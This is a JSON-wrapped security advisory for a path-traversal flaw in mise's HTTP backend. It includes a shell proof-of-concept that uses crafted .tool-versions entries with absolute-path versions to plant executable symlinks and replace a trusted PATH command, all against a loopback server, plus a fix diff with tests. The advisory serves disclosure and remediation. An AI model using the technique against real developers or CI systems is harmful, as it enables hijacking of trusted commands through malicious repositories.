{"id":"CVE-2026-54557","title":"mise HTTP backend uses raw version path for install symlink destination","summary":"mise HTTP backend uses raw version path for install symlink destination","severity":"medium","cvss":5.5,"cwe":["CWE-22"],"vendor":"mise","product":"mise","ecosystem":"rust","affected":["mise <= 2026.5.16"],"patched":["mise 2026.6.1"],"published":"2026-06-23","updated":"2026-06-23","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-f94h-j2qg-fxw3","references":[{"url":"https://github.com/jdx/mise/security/advisories/GHSA-f94h-j2qg-fxw3"},{"url":"https://github.com/advisories/GHSA-f94h-j2qg-fxw3"}],"tags":["ghsa","rust"],"epss":0.00174,"epssPercentile":0.07143,"ingestedAt":"2026-06-29T13:24:35.311Z","slug":"CVE-2026-54557","body":"## Overview\n\n## Summary\n\nThe mise HTTP backend builds its install symlink destination from the raw resolved version string for non-latest versions. Normal tool install paths use the sanitized version pathname, but the HTTP backend's symlink path uses the raw value. On Unix-like systems, if that version is an absolute path, `PathBuf::join` discards the intended mise installs root.\n\nA repository-controlled `.tool-versions` file can therefore make `mise install` create a symlink outside the mise install tree. With `bin_path`, the same issue can place an executable symlink under an attacker-selected absolute prefix, such as a developer-tool prefix that is later added to `PATH`.\n\nThe reproducer below also models a CI/developer workflow where a later step executes a preexisting trusted command from a user-local `PATH` prefix. The absolute-version HTTP entry replaces that command with a symlink to downloaded HTTP content. A non-absolute version control does not replace the trusted `PATH` command.\n\n## Affected Code\n\nIn `src/backend/http.rs`, `create_install_symlink()` derives the destination path from raw `tv.version`:\n\n```rust\nlet version_name = if tv.version == \"latest\" || tv.version.is_empty() {\n    &cache_key[..7.min(cache_key.len())]\n} else {\n    &tv.version\n};\n\nlet install_path = tv.ba().installs_path.join(version_name);\n```\n\n`ToolVersion::tv_pathname()` already sanitizes `:` and `/` for filesystem version directory names, but this HTTP backend path does not use it.\n\n## Impact\n\nProven:\n\n- Outside-root symlink creation from a repository-controlled `.tool-versions` entry.\n- Executable symlink materialization under an attacker-selected absolute prefix when `bin_path` is configured.\n- The executable symlink can be run if that prefix's `bin` directory is on `PATH`.\n- Replacement of a preexisting command in a trusted `PATH` prefix in a local workflow-chain model, followed by execution of the replaced command by name.\n\nNot claimed:\n\n- `mise install` does not automatically execute the placed binary in the reproducer.\n- Windows drive-letter absolute paths are not claimed; the demonstrated impact is Unix-like path behavior.\n- Credential theft is not claimed.\n\n## Why This Crosses A Boundary\n\n`.tool-versions` is an asdf-compatible project file and is parsed without the `mise.toml` trust gate used for configuration features that can execute code or affect the environment. Even if a project can choose tools to install, an install operation should keep HTTP backend materialization under the selected mise install/cache roots unless the user explicitly performs a trusted link or path operation.\n\nThe HTTP backend documentation describes HTTP tool installations as symlinks under the mise installs directory, for example:\n\n```text\n$MISE_DATA_DIR/installs/http-my-tool/1.0.0 -> $MISE_CACHE_DIR/http-tarballs/...\n```\n\nThe observed behavior instead allows the project version string to choose an absolute install destination.\n\n## Reproduction\n\nThe script below performs three local checks:\n\n1. It creates a `.tool-versions` entry whose HTTP backend version is an absolute path, then confirms that mise creates a symlink at that outside path.\n2. It creates a second HTTP backend entry with `bin_path=bin` and confirms that mise places an executable symlink under an attacker-selected absolute prefix and that the symlink is executable when the prefix's `bin` directory is on `PATH`.\n3. It creates a preexisting trusted command in a user-local `PATH` prefix, runs `mise install` from a project `.tool-versions` file, and confirms the later trusted command execution is replaced only in the absolute-version case. A non-absolute version control leaves the preexisting command in place.\n\nThe script uses a loopback HTTP server and temporary directories only.\n\n```sh\n#!/bin/sh\nset -eu\n\nif ! command -v mise >/dev/null 2>&1; then\n  echo \"mise must be on PATH\" >&2\n  exit 1\nfi\n\nif ! command -v python3 >/dev/null 2>&1; then\n  echo \"python3 must be on PATH for the loopback HTTP server\" >&2\n  exit 1\nfi\n\nROOT=\"$(mktemp -d)\"\nOUT=\"$ROOT/out\"\nDATA=\"$ROOT/data\"\nCACHE=\"$ROOT/cache\"\nSTATE=\"$ROOT/state\"\nCONFIG=\"$ROOT/config\"\nWWW=\"$ROOT/www\"\n\ncleanup() {\n  if [ -n \"${SERVER_PID:-}\" ]; then\n    kill \"$SERVER_PID\" 2>/dev/null || true\n  fi\n  rm -rf \"$ROOT\"\n}\ntrap cleanup EXIT\n\nmkdir -p \"$OUT\" \"$DATA\" \"$CACHE\" \"$STATE\" \"$CONFIG\" \"$WWW\"\n\ncat > \"$WWW/payload\" <<'PAYLOAD'\n#!/bin/sh\nif [ -n \"${CHAIN_MARKER:-}\" ]; then\n  echo ATTACKER_CONTROLLED_TRUSTED_COMMAND > \"$CHAIN_MARKER\"\nelse\n  echo MISE_HTTP_ABSOLUTE_VERSION_EXECUTED > \"$MISE_HTTP_ABSOLUTE_VERSION_MARKER\"\nfi\nPAYLOAD\nchmod +x \"$WWW/payload\"\n\n(\n  cd \"$WWW\"\n  python3 -m http.server 54321 --bind 127.0.0.1 >/dev/null 2>&1\n) &\nSERVER_PID=$!\nsleep 1\n\nPROJECT1=\"$ROOT/project-host-write\"\nmkdir -p \"$PROJECT1\"\ncat > \"$PROJECT1/.tool-versions\" <<EOF1\nhttp:absolute-version-one[url=http://127.0.0.1:54321/payload,bin=owned-one] $OUT/owned-link\nEOF1\n\n(\n  cd \"$PROJECT1\"\n  MISE_DATA_DIR=\"$DATA\" \\\n  MISE_CACHE_DIR=\"$CACHE\" \\\n  MISE_STATE_DIR=\"$STATE\" \\\n  MISE_CONFIG_DIR=\"$CONFIG\" \\\n  MISE_YES=1 \\\n  mise install --yes\n)\n\nif [ ! -L \"$OUT/owned-link\" ]; then\n  echo \"FAIL: outside symlink was not created\" >&2\n  exit 1\nfi\n\nPROJECT2=\"$ROOT/project-bin-path\"\nmkdir -p \"$PROJECT2\"\ncat > \"$PROJECT2/.tool-versions\" <<EOF2\nhttp:absolute-version-two[url=http://127.0.0.1:54321/payload,bin=ownedcmd,bin_path=bin] $OUT/selected-prefix\nEOF2\n\nrm -rf \"$DATA\" \"$CACHE\" \"$STATE\" \"$CONFIG\"\nmkdir -p \"$DATA\" \"$CACHE\" \"$STATE\" \"$CONFIG\"\n\n(\n  cd \"$PROJECT2\"\n  MISE_DATA_DIR=\"$DATA\" \\\n  MISE_CACHE_DIR=\"$CACHE\" \\\n  MISE_STATE_DIR=\"$STATE\" \\\n  MISE_CONFIG_DIR=\"$CONFIG\" \\\n  MISE_YES=1 \\\n  mise install --yes\n)\n\nif [ ! -L \"$OUT/selected-prefix/bin/ownedcmd\" ]; then\n  echo \"FAIL: executable symlink was not created under selected prefix\" >&2\n  exit 1\nfi\n\nMARKER=\"$OUT/executed-marker\"\nMISE_HTTP_ABSOLUTE_VERSION_MARKER=\"$MARKER\" \\\nPATH=\"$OUT/selected-prefix/bin:$PATH\" \\\nownedcmd\n\nif ! grep -q MISE_HTTP_ABSOLUTE_VERSION_EXECUTED \"$MARKER\"; then\n  echo \"FAIL: executable symlink did not run\" >&2\n  exit 1\nfi\n\necho \"VULNERABLE_BEHAVIOR_CONFIRMED\"\necho \"outside symlink: $OUT/owned-link -> $(readlink \"$OUT/owned-link\")\"\necho \"path executable: $OUT/selected-prefix/bin/ownedcmd -> $(readlink \"$OUT/selected-prefix/bin/ownedcmd\")\"\n\nrun_path_chain_case() {\n  case_name=\"$1\"\n  version=\"$2\"\n  expected=\"$3\"\n\n  CASE_ROOT=\"$ROOT/$case_name\"\n  HOME_DIR=\"$CASE_ROOT/home\"\n  CASE_DATA=\"$CASE_ROOT/data\"\n  CASE_CACHE=\"$CASE_ROOT/cache\"\n  CASE_STATE=\"$CASE_ROOT/state\"\n  CASE_CONFIG=\"$CASE_ROOT/config\"\n  CASE_PROJECT=\"$CASE_ROOT/project\"\n  CASE_MARKER=\"$CASE_ROOT/marker\"\n\n  if [ \"$version\" = \"__HOME_LOCAL_PREFIX__\" ]; then\n    version=\"$HOME_DIR/.local\"\n  fi\n\n  mkdir -p \"$HOME_DIR/.local/bin\" \"$CASE_DATA\" \"$CASE_CACHE\" \"$CASE_STATE\" \"$CASE_CONFIG\" \"$CASE_PROJECT\"\n  cat > \"$HOME_DIR/.local/bin/trustedcmd\" <<'SAFE'\n#!/bin/sh\necho SAFE_PREEXISTING_TRUSTED_COMMAND > \"$CHAIN_MARKER\"\nSAFE\n  chmod +x \"$HOME_DIR/.local/bin/trustedcmd\"\n\n  cat > \"$CASE_PROJECT/.tool-versions\" <<EOF3\nhttp:path-chain[url=http://127.0.0.1:54321/payload,bin=trustedcmd,bin_path=bin] $version\nEOF3\n\n  (\n    cd \"$CASE_PROJECT\"\n    HOME=\"$HOME_DIR\" \\\n    MISE_DATA_DIR=\"$CASE_DATA\" \\\n    MISE_CACHE_DIR=\"$CASE_CACHE\" \\\n    MISE_STATE_DIR=\"$CASE_STATE\" \\\n    MISE_CONFIG_DIR=\"$CASE_CONFIG\" \\\n    MISE_YES=1 \\\n    mise install --yes\n  )\n\n  CHAIN_MARKER=\"$CASE_MARKER\" \\\n  PATH=\"$HOME_DIR/.local/bin:$PATH\" \\\n  trustedcmd\n\n  observed=\"$(cat \"$CASE_MARKER\")\"\n  if [ \"$observed\" != \"$expected\" ]; then\n    echo \"FAIL: $case_name expected $expected but saw $observed\" >&2\n    exit 1\n  fi\n\n  if [ \"$case_name\" = \"path-chain-vulnerable\" ] && [ ! -L \"$HOME_DIR/.local/bin/trustedcmd\" ]; then\n    echo \"FAIL: path-chain case did not replace trustedcmd with a symlink\" >&2\n    exit 1\n  fi\n}\n\nrun_path_chain_case path-chain-vulnerable \"__HOME_LOCAL_PREFIX__\" ATTACKER_CONTROLLED_TRUSTED_COMMAND\nrun_path_chain_case path-chain-control \"1.0.0\" SAFE_PREEXISTING_TRUSTED_COMMAND\n\necho \"PATH_CHAIN_CONFIRMED\"\n```\n\nExpected vulnerable markers:\n\n```text\nVULNERABLE_BEHAVIOR_CONFIRMED\nPATH_CHAIN_CONFIRMED\n```\n\n## Candidate Fix\n\nUse `tv.tv_pathname()` for non-latest HTTP install symlink names, preserving the current content-addressed behavior for `latest` or empty versions.\n\n```diff\ndiff --git a/src/backend/http.rs b/src/backend/http.rs\nindex 4e4e972..18cf8a1 100644\n--- a/src/backend/http.rs\n+++ b/src/backend/http.rs\n@@ -518,12 +518,12 @@ impl HttpBackend {\n\n         // Determine version name for install path\n         let version_name = if tv.version == \"latest\" || tv.version.is_empty() {\n-            &cache_key[..7.min(cache_key.len())] // Content-based versioning\n+            cache_key[..7.min(cache_key.len())].to_string() // Content-based versioning\n         } else {\n-            &tv.version\n+            tv.tv_pathname()\n         };\n\n-        let install_path = tv.ba().installs_path.join(version_name);\n+        let install_path = tv.ba().installs_path.join(&version_name);\n\n         // Clean up existing install\n         if install_path.exists() {\n@@ -839,3 +839,51 @@ impl Backend for HttpBackend {\n         }\n     }\n }\n+\n+#[cfg(test)]\n+mod tests {\n+    use super::*;\n+    use crate::cli::args::{BackendArg, BackendResolution};\n+    use crate::toolset::{ToolRequest, ToolSource, ToolVersionOptions};\n+\n+    fn http_test_tv(version: &str) -> ToolVersion {\n+        let backend = Arc::new(BackendArg::new_raw(\n+            \"http-absolute-version\".to_string(),\n+            Some(\"http:absolute-version\".to_string()),\n+            \"absolute-version\".to_string(),\n+            None,\n+            BackendResolution::new(true),\n+        ));\n+        let request = ToolRequest::Version {\n+            backend,\n+            version: version.to_string(),\n+            options: ToolVersionOptions::default(),\n+            source: ToolSource::Argument,\n+        };\n+        ToolVersion::new(request, version.to_string())\n+    }\n+\n+    #[test]\n+    fn install_symlink_path_uses_sanitized_version_pathname() {\n+        let tv = http_test_tv(\"/outside-root/mise-http-version-out/selected-prefix\");\n+\n+        assert_eq!(\n+            tv.tv_pathname(),\n+            \"-outside-root-mise-http-version-out-selected-prefix\"\n+        );\n+        assert!(!Path::new(&tv.tv_pathname()).is_absolute());\n+    }\n+\n+    #[test]\n+    fn latest_install_symlink_still_uses_content_version() {\n+        let tv = http_test_tv(\"latest\");\n+        let cache_key = \"abcdef123456\";\n+        let version_name = if tv.version == \"latest\" || tv.version.is_empty() {\n+            cache_key[..7.min(cache_key.len())].to_string()\n+        } else {\n+            tv.tv_pathname()\n+        };\n+\n+        assert_eq!(version_name, \"abcdef1\");\n+    }\n+}\n```\n\nReporter: JUNYI LIU\n\n## Affected packages\n\n- `mise <= 2026.5.16`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `mise 2026.6.1`","depth":"sunlit","depthScore":30,"depthScoreParts":{"impact":30.3,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}